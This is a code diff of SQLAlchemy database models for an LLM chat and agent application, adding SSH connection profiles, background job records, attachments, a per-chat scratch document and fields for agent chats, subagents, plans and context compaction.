+    CHUNK_DOCUMENT,
+    CHUNK_KINDS,
+    CHUNK_NOTE,
+    CHUNK_REPORT,
+    CHUNK_SKILL,
+    PRINCIPAL_GROUP,
+    PRINCIPAL_USER,
+    RESOURCE_BASE,
+    RESOURCE_NOTE,
+    RESOURCE_REPORT,
+    RESOURCE_SKILL,
+    SOURCE_LINK,
+    SOURCE_UPLOAD,
+    Chunk,
+    Document,
+    KnowledgeBase,
+    Memory,
+    Note,
+    Share,
+    Skill,
+    SkillRevision,
+    chat_knowledge_bases,
+)
+from lembas.db.models.report import (
+    SOURCE_CHAT,
+    SOURCE_MANUAL,
+    SOURCE_SCHEDULE,
+    SOURCES,
+    Report,
+)
+from lembas.db.models.schedule import (
+    ORIGIN_MODEL,
+    ORIGIN_USER,
+    ORIGINS,
+    TARGET_CHAT,
+    TARGET_MESSAGES,
+    TARGET_REPORT,
+    TARGETS,
+    Schedule,
+)
 from lembas.db.models.setting import Setting
+from lembas.db.models.suggestion import Suggestion
+from lembas.db.models.tool import (
+    RESPONSE_JSON,
+    RESPONSE_MODES,
+    RESPONSE_RAW,
+    RESPONSE_TEXT,
+    SECRET_BEARER,
+    SECRET_HEADER,
+    SECRET_NONE,
+    SECRET_PLACEMENTS,
+    SECRET_QUERY,
+    CustomTool,
+    McpServer,
+    custom_tool_groups,
+    mcp_server_groups,
+)
 from lembas.db.models.user import (
     ROLE_ADMIN,
     ROLE_PENDING,
     Group,
+    PushSubscription,
     Session,
+    Usage,
     User,
     user_groups,
 )
 
 __all__ = [
+    "AUTHOR_MODEL",
+    "PushSubscription",
+    "Usage",
+    "AUTH_KEY",
+    "AUTH_METHODS",
+    "AUTH_PASSWORD",
+    "AUTHOR_USER",
+    "ALL_KINDS",
+    "Attachment",
+    "KINDS",
+    "KIND_AGENT",
+    "KIND_CHAT",
+    "KIND_DOCUMENT",
+    "KIND_IMAGE",
+    "KIND_MESSAGES",
+    "KIND_TASK",
+    "KIND_TEXT",
+    "PRINCIPAL_GROUP",
+    "PRINCIPAL_USER",
+    "RESOURCE_BASE",
+    "RESOURCE_NOTE",
+    "RESOURCE_REPORT",
+    "RESOURCE_SKILL",
+    "RESPONSE_JSON",
+    "RESPONSE_MODES",
+    "RESPONSE_RAW",
+    "RESPONSE_TEXT",
     "ROLE_ADMIN",
     "ROLE_ASSISTANT",
     "ROLE_PENDING",
     "ROLE_SYSTEM",
     "ROLE_TOOL",
     "ROLE_USER",
+    "SECRET_BEARER",
+    "SECRET_HEADER",
+    "SECRET_NONE",
+    "SECRET_PLACEMENTS",
+    "SECRET_QUERY",
+    "ORIGINS",
+    "ORIGIN_MODEL",
+    "ORIGIN_USER",
+    "SOURCES",
+    "SOURCE_CHAT",
+    "SOURCE_LINK",
+    "SOURCE_MANUAL",
+    "SOURCE_SCHEDULE",
+    "SOURCE_UPLOAD",
+    "TARGETS",
+    "TARGET_CHAT",
+    "TARGET_MESSAGES",
+    "TARGET_REPORT",
+    "Report",
+    "Schedule",
     "Chat",
+    "Job",
     "Connection",
+    "CustomTool",
+    "CHUNK_DOCUMENT",
+    "CHUNK_KINDS",
+    "CHUNK_NOTE",
+    "CHUNK_REPORT",
+    "CHUNK_SKILL",
+    "Chunk",
+    "Document",
     "Folder",
     "Group",
+    "ImageWorkflow",
+    "KnowledgeBase",
+    "McpServer",
+    "Memory",
     "Message",
     "Model",
+    "Note",
+    "ScratchDoc",
     "Session",
     "Setting",
+    "Share",
+    "Skill",
+    "SshProfile",
+    "SkillRevision",
+    "Suggestion",
     "User",
+    "chat_knowledge_bases",
+    "custom_tool_groups",
+    "mcp_server_groups",
+    "model_groups",
     "user_groups",
 ]

src/lembas/db/models/agent.py

@@ -0,0 +1,147 @@
+"""SSH connections an agent chat can act through.
+
+User-owned, like a `Note` and unlike a `Connection`. That is the opposite of
+the rule custom tools and MCP servers follow, and the difference is the point:
+those are instance configuration an administrator could grant themselves in one
+click anyway, while this is somebody's own machine and somebody's own key.
+"Anyone in this group may log in to my server" is a different feature with a
+different blast radius.
+
+`services/sharing.py` is deliberately not involved either. Sharing grants
+reading, and a host somebody else can read is a host they can log in to.
+
+**Nothing an agent does runs on the LLeMbas machine.** A local sandbox was
+designed and dropped: every hard problem in it came from executing on the host
+that holds the database and the encryption key. Over SSH, isolation is whatever
+host somebody points this at -- which means the security of an agent chat is the
+security of that host, and nothing here can tell a throwaway container from a
+production server. The admin copy says so out loud.
+"""
+
+from __future__ import annotations
+
+from datetime import datetime
+from typing import TYPE_CHECKING, Any
+
+from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+from lembas.db.types import JSONDict
+
+if TYPE_CHECKING:  # pragma: no cover - annotation only
+    from lembas.db.models.user import User
+
+# How the connection authenticates.
+AUTH_KEY = "key"
+AUTH_PASSWORD = "password"
+AUTH_METHODS = (AUTH_KEY, AUTH_PASSWORD)
+
+
+class SshProfile(UUIDPrimaryKey, Timestamps, Base):
+    """One host somebody can point an agent chat at."""
+
+    __tablename__ = "ssh_profiles"
+    __table_args__ = (UniqueConstraint("owner_id", "name", name="uq_ssh_profile_name"),)
+
+    owner_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+
+    host: Mapped[str] = mapped_column(String(255), nullable=False)
+    port: Mapped[int] = mapped_column(Integer, default=22, nullable=False)
+    username: Mapped[str] = mapped_column(String(120), nullable=False)
+
+    # Whether `host` resolved to loopback the last time anybody looked. Written
+    # where a network call is already happening -- saving this connection, and
+    # Check -- and read on every request that asks whether this connection may
+    # be used at all. A column rather than a lookup because that question is
+    # asked several times per page render, and `getaddrinfo` on the request path
+    # makes an agent page wait out a DNS timeout for a host nobody is talking
+    # to. A literal `127.0.0.1` needs none of this and is decided from the
+    # string. See services/agent/hosts.py.
+    #
+    # False on every row an upgrade brings in, which is correct for the literal
+    # case (decided from the string anyway) and optimistic for a *name* until it
+    # is next saved or checked.
+    resolves_here: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    auth: Mapped[str] = mapped_column(String(16), default=AUTH_KEY, nullable=False)
+    password_encrypted: Mapped[str] = mapped_column(Text, default="")
+    private_key_encrypted: Mapped[str] = mapped_column(Text, default="")
+    key_passphrase_encrypted: Mapped[str] = mapped_column(Text, default="")
+
+    # One OpenSSH known_hosts line, captured the first time this host answered
+    # and shown as a fingerprint to be confirmed, then pinned. Empty means
+    # "never seen". Handed to asyncssh as `known_hosts=<these bytes>` and never
+    # as None, which turns host key checking off altogether.
+    host_key: Mapped[str] = mapped_column(Text, default="")
+    # The SHA256 fingerprint of the above, so the profile page can show what was
+    # accepted without parsing the line again on every render.
+    host_fingerprint: Mapped[str] = mapped_column(String(120), default="")
+
+    # Where a chat starts by default. A chat records its own, chosen when it is
+    # created and fixed thereafter; this is only the suggestion in the picker.
+    default_dir: Mapped[str] = mapped_column(String(500), default="")
+
+    connect_timeout: Mapped[int] = mapped_column(Integer, default=15, nullable=False)
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+
+    # What the last connection attempt found, for the list. `server_banner` is
+    # whatever the host said about itself -- useful for telling two containers
+    # apart.
+    last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    last_error: Mapped[str] = mapped_column(Text, default="")
+    server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    owner: Mapped[User] = relationship()
+
+    @property
+    def label(self) -> str:
+        return self.name or f"{self.username}@{self.host}"
+
+    @property
+    def address(self) -> str:
+        return f"{self.username}@{self.host}" + (f":{self.port}" if self.port != 22 else "")
+
+    @property
+    def verified(self) -> bool:
+        """Whether this host's key has been seen and pinned."""
+        return bool(self.host_key)
+
+    def __repr__(self) -> str:
+        return f"<SshProfile {self.name} {self.address}>"
+
+
+class Job(Timestamps, Base):
+    """A command left running on the far side after the reply that started it.
+
+    The durable record behind `services/agent/jobs.py`, which otherwise keeps
+    only an in-process registry lost on restart. A background job runs for
+    minutes to hours with nobody watching -- exactly the case a restart must not
+    forget -- so the row lets a startup hook re-poll the job's deterministic
+    exit-file and wake the model as if nothing had happened.
+
+    The id is `jobs`'s own short hex, not a UUIDPrimaryKey, because the same id
+    names the files on the machine and is quoted back by the model.
+    """
+
+    __tablename__ = "agent_jobs"
+
+    id: Mapped[str] = mapped_column(String(32), primary_key=True)
+    chat_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("chats.id", ondelete="CASCADE"), index=True, nullable=False
+    )
+    command: Mapped[str] = mapped_column(Text, default="")
+    # running | done | killed | lost. `lost` means it stopped without an exit
+    # code being recorded -- killed out of band, or the host rebooted under it.
+    status: Mapped[str] = mapped_column(String(16), default="running", nullable=False)
+    exit_status: Mapped[int | None] = mapped_column(Integer)
+    finished_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+
+    def __repr__(self) -> str:
+        return f"<Job {self.id} {self.status}>"
+
+
+__all__ = ["AUTH_KEY", "AUTH_METHODS", "AUTH_PASSWORD", "Job", "SshProfile"]

src/lembas/db/models/attachment.py

@@ -0,0 +1,87 @@
+"""Files attached to chat messages."""
+
+from __future__ import annotations
+
+from sqlalchemy import Boolean, ForeignKey, Integer, String, Text
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+
+# What the file is for, decided at upload time. Drives both how it is rendered
+# and how it reaches the model: images become multimodal parts, everything else
+# becomes text in the prompt.
+KIND_IMAGE = "image"
+KIND_DOCUMENT = "document"  # PDF: text is extracted
+KIND_TEXT = "text"  # plain text, markdown, csv, source code
+
+
+class Attachment(UUIDPrimaryKey, Timestamps, Base):
+    __tablename__ = "attachments"
+
+    user_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    chat_id: Mapped[str | None] = mapped_column(
+        String(32), ForeignKey("chats.id", ondelete="CASCADE"), index=True
+    )
+    # Null while the file is uploaded but the message has not been sent yet.
+    # Those orphans are swept periodically -- see services.files.sweep_orphans.
+    message_id: Mapped[str | None] = mapped_column(
+        String(32), ForeignKey("messages.id", ondelete="CASCADE"), index=True
+    )
+
+    # What the uploader called it. Display only, never used as a path.
+    filename: Mapped[str] = mapped_column(String(300), nullable=False)
+    # Random name on disk. See services.files for why the two are separate.
+    stored_name: Mapped[str] = mapped_column(String(120), nullable=False)
+
+    media_type: Mapped[str] = mapped_column(String(100), default="")
+    size_bytes: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    kind: Mapped[str] = mapped_column(String(16), default=KIND_DOCUMENT, nullable=False)
+
+    # Images only, after downscaling.
+    width: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    height: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    # Documents and text: the content that actually reaches the model. Held in
+    # the database rather than re-extracted per request -- extraction is slow,
+    # and a reply must not silently change because a PDF parser was upgraded.
+    extracted_text: Mapped[str] = mapped_column(Text, default="")
+    pages: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # Non-empty when the file was stored but its text could not be read, e.g. a
+    # scanned PDF with no text layer. Shown next to the attachment so the user
+    # is not left wondering why the model ignored it.
+    extraction_error: Mapped[str] = mapped_column(Text, default="")
+
+    # Where this came from, when it came from somewhere with an address.
+    #
+    # `filename` is a display name and is frequently just the basename, which
+    # is not enough: a model told it has been given `main.py` cannot tell which
+    # of four it is looking at, and cannot name the file back to you if you ask
+    # it to change something. So a project file carries its absolute path and
+    # the machine it was read from, and both go into the tag the model sees.
+    #
+    # Nullable, and empty for an ordinary upload -- a file dragged in from a
+    # laptop has no address this instance could meaningfully report.
+    source_path: Mapped[str] = mapped_column(String(1000), default="")
+    source_label: Mapped[str] = mapped_column(String(200), default="")
+
+    message: Mapped[Message] = relationship(back_populates="attachments")  # noqa: F821
+
+    @property
+    def is_image(self) -> bool:
+        return self.kind == KIND_IMAGE
+
+    @property
+    def human_size(self) -> str:
+        size = float(self.size_bytes)
+        for unit in ("B", "KB", "MB"):
+            if size < 1024 or unit == "MB":
+                return f"{size:.0f} {unit}" if unit == "B" else f"{size:.1f} {unit}"
+            size /= 1024
+        return f"{size:.1f} MB"
+
+    def __repr__(self) -> str:
+        return f"<Attachment {self.filename} {self.kind}>"

src/lembas/db/models/canvas.py

@@ -0,0 +1,50 @@
+"""A chat's own working surface."""
+
+from __future__ import annotations
+
+from sqlalchemy import ForeignKey, String, Text
+from sqlalchemy.orm import Mapped, mapped_column
+
+from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
+from lembas.db.models.library import AUTHOR_USER
+
+
+class ScratchDoc(UUIDPrimaryKey, Timestamps, Base):
+    """A text artefact belonging to one chat, written by either side of it.
+
+    The model can write into it, the person can edit it, and either can hand the
+    result to the next message as an ordinary attachment. Distinct from a note,
+    which is a durable artefact of the reader's that outlives the chat -- this
+    is the chat's own record of what it is working on, which is the same line
+    `plan_update` is on rather than `notes_edit`.
+
+    A separate table rather than a column on `chats` for one plain reason:
+    `select(Chat)` runs for the sidebar on every page load, and SQLAlchemy loads
+    every column -- so a Text body would ride along with two hundred sidebar
+    rows to answer a question about none of them.
+
+    One per chat. Several would mean a picker, names, deletion and a sweep, and
+    would mean the model choosing an id; one means `scratch:<chat_id>` is
+    derivable rather than looked up. If several are ever wanted, they are notes.
+    """
+
+    __tablename__ = "scratch_docs"
+
+    chat_id: Mapped[str] = mapped_column(
+        String(32),
+        ForeignKey("chats.id", ondelete="CASCADE"),
+        nullable=False,
+        index=True,
+        unique=True,
+    )
+    user_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    title: Mapped[str] = mapped_column(String(300), default="Scratch")
+    body: Mapped[str] = mapped_column(Text, default="")
+    # Who wrote it last, so the panel can say. Not authorisation: the chat's
+    # owner is the only person who can reach it either way.
+    author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<ScratchDoc {self.chat_id}>"

src/lembas/db/models/chat.py

@@ -2,19 +2,57 @@
 
 from __future__ import annotations
 
-from typing import Any
+from datetime import datetime
+from typing import TYPE_CHECKING, Any
 
-from sqlalchemy import Boolean, ForeignKey, Integer, String, Text
+from sqlalchemy import Boolean, DateTime, ForeignKey, Integer, String, Text
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 
 from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
 from lembas.db.types import JSONDict, JSONList
 
+if TYPE_CHECKING:
+    # Annotation only; SQLAlchemy resolves the name through its own registry at
+    # runtime, so there is no import cycle. A bare `Mapped[list]` would be read
+    # as a scalar and hand back None instead of [].
+    from lembas.db.models.library import KnowledgeBase
+
 ROLE_SYSTEM = "system"
 ROLE_USER = "user"
 ROLE_ASSISTANT = "assistant"
 ROLE_TOOL = "tool"
 
+# What a conversation is allowed to be. A plain chat can never act; an agent
+# chat is pointed at a machine before it starts and stays pointed there.
+KIND_CHAT = "chat"
+KIND_AGENT = "agent"
+
+# The two sides of the sidebar's Chat/Agent switch, and nothing else.
+# `KINDS` must NOT grow: `api/preferences.py:set_sidebar_kind` validates against
+# it, so a third entry would make the tree filterable to a side with no button
+# to leave it -- the "one side of a fork nobody can move" failure the
+# `sidebar_split` guard already exists to prevent.
+KINDS = (KIND_CHAT, KIND_AGENT)
+
+# Conversations that belong to a section of their own rather than to the tree.
+# A Messages conversation is one per person; a task chat belongs to a schedule
+# and is reached through Scheduled. Neither is ever listed among the chats, so
+# neither is a side of the switch.
+KIND_MESSAGES = "messages"
+KIND_TASK = "task"
+
+# What a row's `kind` may actually be. Every listing that means "the sidebar
+# tree" filters on KINDS; every check that means "is this a real value" uses
+# this. Reading `kind == ""` as "no filter" is what leaks a task chat into the
+# ordinary list on an instance with agents switched off, where the sidebar
+# passes "" precisely because there is no switch to read.
+ALL_KINDS = (*KINDS, KIND_MESSAGES, KIND_TASK)
+
+# Duplicated from services/agent/policy.py rather than imported: a model module
+# importing a service would invert the dependency, and this is only the column
+# default. policy.MODES is the vocabulary; this is what a row starts as.
+MODE_MANUAL = "manual"
+
 
 class Folder(UUIDPrimaryKey, Timestamps, Base):
     """A user-owned, arbitrarily nested container for chats."""
@@ -31,6 +69,28 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
     position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
     collapsed: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
 
+    # What chats started in this folder inherit. A folder is where somebody
+    # groups the work on one thing, so it is the natural place to say "chats
+    # about this use this prompt, this model, this machine" -- said once rather
+    # than on every new chat.
+    description: Mapped[str] = mapped_column(String(500), default="")
+    # Read at request time, never copied onto the chat: editing the folder later
+    # has to reach the chats already in it, which is the whole point of putting
+    # it here. It slots into the ladder between the chat and the model.
+    system_prompt: Mapped[str] = mapped_column(Text, default="")
+
+    # Seeds, copied onto a new chat and then that chat's own. Empty means "no
+    # opinion", so a folder can carry a prompt without also dictating a model.
+    model_id: Mapped[str] = mapped_column(String(300), default="")
+    kind: Mapped[str] = mapped_column(String(16), default="")
+    # Deliberately not a ForeignKey. `migrations.py` compiles the column type
+    # only, so a REFERENCES clause would exist on a fresh database and not on an
+    # upgraded one -- the same reason `Chat.compacted_through_id` is a plain id.
+    # The profile may also have been deleted, so it is validated on read.
+    ssh_profile_id: Mapped[str] = mapped_column(String(32), default="")
+    project_dir: Mapped[str] = mapped_column(String(1000), default="")
+    agent_mode: Mapped[str] = mapped_column(String(16), default="")
+
     children: Mapped[list[Folder]] = relationship(
         back_populates="parent",
         cascade="all, delete-orphan",
@@ -39,6 +99,68 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
     parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id")
     chats: Mapped[list[Chat]] = relationship(back_populates="folder")
 
+    def visible_chats(self, kind: str = "") -> list[Chat]:
+        """The chats in this folder that belong in the sidebar.
+
+        The relationship itself stays unfiltered -- back-population needs every
+        row -- so the listing rule lives here rather than in the template, where
+        the loop and the "Empty" check would have to agree by hand and already
+        did not: archived chats have been showing inside folders since folders
+        existed. The unfiled list has always filtered them (api/pages.py); the
+        folder branch went through the relationship and filtered nothing.
+
+        `kind` narrows to one side of the sidebar's Chat/Agent switch. Empty
+        means *both sides of the switch* -- which is not the same as "no filter",
+        and the difference only became visible once a third kind existed. An
+        instance with agents disabled passes "" because there is no switch to
+        read, so a bare `not kind` would list every task chat and the Messages
+        conversation among somebody's ordinary chats. Those have sections of
+        their own and are never in the tree.
+
+        Ordered like the unfiled list: pinned first, then most recently touched.
+        """
+        wanted = (kind,) if kind else KINDS
+        kept = [
+            chat
+            for chat in self.chats
+            if not chat.archived and not chat.temporary and chat.kind in wanted
+        ]
+        kept.sort(key=lambda chat: chat.updated_at, reverse=True)
+        kept.sort(key=lambda chat: not chat.pinned)
+        return kept
+
+    def visible_children(self, kind: str = "") -> list[Folder]:
+        """Sub-folders the sidebar should show on this side of the switch.
+
+        Here rather than in the template because Jinja's `selectattr` names a
+        test, it does not call a method -- so the filter would have to be spelled
+        out as a loop appending to a list, in a template that already includes
+        itself recursively.
+        """
+        return [child for child in self.children if child.shown_in(kind)]
+
+    def holds(self, kind: str = "") -> bool:
+        """Whether anything of this kind is anywhere under this folder.
+
+        Recursive, because a folder's only matching chat may be three levels
+        down and judging on its own contents alone would bury it.
+        """
+        if self.visible_chats(kind):
+            return True
+        return any(child.holds(kind) for child in self.children)
+
+    def shown_in(self, kind: str = "") -> bool:
+        """Whether this folder belongs on one side of the sidebar's switch.
+
+        Two different reasons a folder can have nothing in it, and only one of
+        them is a reason to hide it. A folder full of ordinary chats is noise on
+        the Agent side and is dropped. A folder that is empty of *everything* is
+        a container somebody just made and has not filled yet -- hiding that one
+        means it can never be found again, let alone filed into, so it shows on
+        both sides and says "Empty" for itself.
+        """
+        return self.holds(kind) or not self.holds()
+
     def __repr__(self) -> str:
         return f"<Folder {self.name}>"
 
@@ -71,12 +193,121 @@ class Chat(UUIDPrimaryKey, Timestamps, Base):
     pinned: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
     archived: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
 
+    # Never listed in the sidebar, and swept a day after the last thing said in
+    # it. A real row rather than something held in the browser, so a reload or a
+    # dropped connection does not lose the conversation -- and `Keep` clears the
+    # flag, because a temporary chat that turns out to matter must have a way
+    # out. See services/chat.py:sweep_temporary.
+    temporary: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # A reply landed while nobody was watching this chat. Cleared when the chat
+    # is next opened. `unread_notified` stops the same arrival being announced
+    # on every poll.
+    unread: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+    unread_notified: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # --- Agent chats ---------------------------------------------------------
+    # Whether this conversation may act, and where. Chosen on the new-chat
+    # screen and fixed once there is a message: the harness, the tools offered
+    # and the approval loop all differ, so a chat that changed kind halfway
+    # would have a transcript whose earlier turns were produced under other
+    # rules. The connection is locked with it -- a shell history and a project
+    # directory do not transplant to another machine.
+    kind: Mapped[str] = mapped_column(String(16), default=KIND_CHAT, nullable=False)
+    # A plain id rather than a ForeignKey, for the reason `compacted_through_id`
+    # below gives: migrations.py compiles only the column type, so a REFERENCES
+    # clause would exist on a fresh database and not on an upgraded one.
+    # Validated on read instead.
+    ssh_profile_id: Mapped[str | None] = mapped_column(String(32))
+    # Where commands start on the far side, and what file paths resolve against.
+    project_dir: Mapped[str] = mapped_column(String(500), default="")
+    # Which of the four permission modes is in force. The one agent field that
+    # IS switchable mid-chat: it decides what gets asked about, not what the
+    # conversation is.
+    agent_mode: Mapped[str] = mapped_column(String(16), default=MODE_MANUAL, nullable=False)
+    # Set when a turn was edited or regenerated in an agent chat. The project
+    # directory is deliberately NOT rewound with the transcript -- it is
+    # somebody's real working tree and deleting their work would be far worse
+    # than an inconsistency -- so the harness says so instead.
+    rewound_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    # Which message carries the plan currently in force. A plain id and not a
+    # ForeignKey, for the reason `compacted_through_id` below gives; validated
+    # on read. It exists so the harness can put the plan in front of the model
+    # with one `db.get` by primary key rather than a scan for "the newest
+    # message with a plan" -- `context_variables` is synchronous and on the
+    # request path. A plan a model cannot see is a plan it cannot keep current.
+    plan_message_id: Mapped[str | None] = mapped_column(String(32))
+    # What this chat has switched off, narrowing what it is already allowed.
+    # {"families": {"web_search": false}, "skills": {"weekly-report": false}}.
+    # **Absent means on**, for every key -- the same convention
+    # `McpServer.tool_overrides_json` uses, and for the same reason: two
+    # representations of "on" makes "why is this off?" unanswerable.
+    scope_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    # What this chat generates pictures with when the model names neither. A
+    # preference rather than a constraint -- the model may still choose another
+    # template or checkpoint for a particular image, and the harness lists what
+    # is on offer -- so this is where "in this chat I am working in SDXL" is
+    # said once instead of in every prompt.
+    #
+    # Plain columns rather than keys in `scope_json`: that one narrows what a
+    # chat may *reach* and absent means on, which is the opposite of what an
+    # empty default here means. A workflow that has since been deleted reads
+    # back as no preference, so it is validated on use like `ssh_profile_id`.
+    image_workflow_id: Mapped[str | None] = mapped_column(String(32))
+    image_checkpoint: Mapped[str] = mapped_column(String(300), default="")
+
+    # --- Subagents -----------------------------------------------------------
+    # The chat whose reply spawned this one, when a model delegated a piece of
+    # work. A plain id and not a ForeignKey, for the reason the three above
+    # give, and validated on read. Its presence is what makes a chat a
+    # subagent's: `agent/session.py` sizes it smaller, `services/subagent.py`
+    # refuses to spawn from one, and the sweep finds it.
+    parent_chat_id: Mapped[str | None] = mapped_column(String(32))
+    # Nobody is at the keyboard for this conversation, and nothing in it may
+    # stop to ask. Not the same question as `kind`: a scheduled task's chat is
+    # unattended because of what started it, a subagent's because of what it is,
+    # and a future third thing will be unattended for a third reason. Reading
+    # the flag rather than the kind is what stops each of those needing its own
+    # branch in `resolve_tools` and in `_authorise`.
+    unattended: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # Which files are open in the canvas panel, and which of them is in front.
+    # {"tabs": [{"key": "agent:/srv/app/main.py", "title": …, "source": …}],
+    #  "active": "agent:/srv/app/main.py"}
+    #
+    # Server-side rather than in the browser because a model reading a file
+    # opens a tab, and every frame this application streams is HTML swapped
+    # whole -- if the browser owned the list, the server could not render the
+    # strip and the frame would have to become data for JavaScript to interpret.
+    # One chat, one canvas, the same consequence the terminal panel documents:
+    # two tabs on the same chat share it.
+    canvas_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    # --- Compaction ----------------------------------------------------------
+    # A summary of the turns up to `compacted_through_id`, sent in their place.
+    # The messages themselves are kept and still shown; they simply stop being
+    # part of the request. See services/compaction.py.
+    compact_summary: Mapped[str] = mapped_column(Text, default="")
+    # A plain id, deliberately not a ForeignKey: db/migrations.py compiles only
+    # the column type, so a REFERENCES clause would exist on a freshly created
+    # database and not on an upgraded one, and a constraint half the fleet has
+    # is worse than none. It is validated on every read instead -- the same
+    # reasoning `model_id` above carries.
+    compacted_through_id: Mapped[str | None] = mapped_column(String(32))
+    compacted_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+
     folder: Mapped[Folder | None] = relationship(back_populates="chats")
     messages: Mapped[list[Message]] = relationship(
         back_populates="chat",
         cascade="all, delete-orphan",
         order_by="Message.created_at",
     )
+    # Which knowledge bases this chat draws on. None means "everything its owner
+    # can see"; naming some scopes the knowledge tool to those.
+    knowledge_bases: Mapped[list[KnowledgeBase]] = relationship(
+        "KnowledgeBase", secondary="chat_knowledge_bases"
+    )
 
     def __repr__(self) -> str:
         return f"<Chat {self.title!r}>"
@@ -101,17 +332,98 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
     # Plain-text messages leave this empty and use `content`.
     content_parts_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
 
+    # A reasoning model's visible thinking, kept separate from the answer so it
+    # can be collapsed, and so it is never fed back as context on the next turn
+    # -- providers expect the answer alone, and replaying the thinking both
+    # wastes the window and degrades the reply.
+    reasoning: Mapped[str] = mapped_column(Text, default="")
+    # Milliseconds spent producing the reasoning, for the "Thought for Xs" label.
+    reasoning_ms: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
     model_id: Mapped[str] = mapped_column(String(300), default="")
+
+    # What the model did before answering: one entry per tool call, with its
+    # arguments and results. Shown in the transcript so the sources behind an
+    # answer stay visible, and deliberately NOT replayed as context on the next
+    # turn -- see services/generation.py for why.
     tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
+
+    # Where each round's contribution ended, so `content`, `reasoning` and
+    # `tool_calls_json` can be shown as the one sequence they actually were
+    # rather than as three stacked zones. One entry per closed step, holding the
+    # cumulative length of each of the three at that moment. See
+    # services/steps.py; read it through the `steps` property below.
+    #
+    # Nullable, and that is load-bearing rather than lazy. `migrations.py`
+    # derives a backfill for a NOT NULL column from `column.type.python_type`,
+    # and `JSONList` is `MutableList.as_mutable(JSON)` whose `python_type` is
+    # `dict` -- so a NOT NULL list column would be backfilled `'{}'` on every
+    # existing row and fail on the first read. Nullable means no default, which
+    # is what an older row should have anyway: no marks, and the old layout.
+    steps_json: Mapped[list[Any] | None] = mapped_column(JSONList, nullable=True, default=list)
+
     usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
 
+    # A plan produced in Plan mode, or the state of one being carried out. See
+    # services/plans.py for the shape. Marked on the row rather than parsed back
+    # out of the prose, so the Execute button sends exactly what was proposed
+    # and not an approximation of it. Read through the `plan` property below,
+    # never directly: rows written before version 2 hold `{title, steps}`.
+    plan_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
     # Non-empty when generation failed. Rendered as a styled error in the
     # thread so a failed turn is never an unexplained blank bubble.
     error: Mapped[str] = mapped_column(Text, default="")
     # False while a reply is still streaming; flipped when the stream ends.
     complete: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    # True when the reader pressed Stop. Distinct from `error`: the text that
+    # did arrive is kept and is perfectly usable, it is just cut short.
+    stopped: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+    # Typed while a reply was still being written, and not yet handed to a
+    # model. A row rather than something held in the browser: it survives a
+    # restart, it is in the transcript the moment it is typed, and it can be
+    # withdrawn before it is ever sent. `build_messages` skips it; delivery --
+    # `generation._drain` at the end of a reply, or `_inject` between two rounds
+    # of tool calls -- is the only thing that clears it.
+    queued: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # Written by the application rather than by the person whose bubble this
+    # would otherwise be. `agent/jobs.py:wake` is the one writer: a background
+    # job finishing is a new turn in the *user* role, and that role is
+    # load-bearing -- `_inject` sends a queued turn verbatim and `build_messages`
+    # has to keep seeing a user turn -- but it is not the reader speaking, and
+    # rendering it under their name with their initial beside it is the
+    # application putting words in their mouth. Nothing about the request
+    # changes; only the bubble does.
+    machine: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
 
     chat: Mapped[Chat] = relationship(back_populates="messages")
+    attachments: Mapped[list[Attachment]] = relationship(  # noqa: F821
+        back_populates="message",
+        cascade="all, delete-orphan",
+        order_by="Attachment.created_at",
+    )
+
+    @property
+    def images(self) -> list:
+        return [a for a in self.attachments if a.is_image]
+
+    @property
+    def documents(self) -> list:
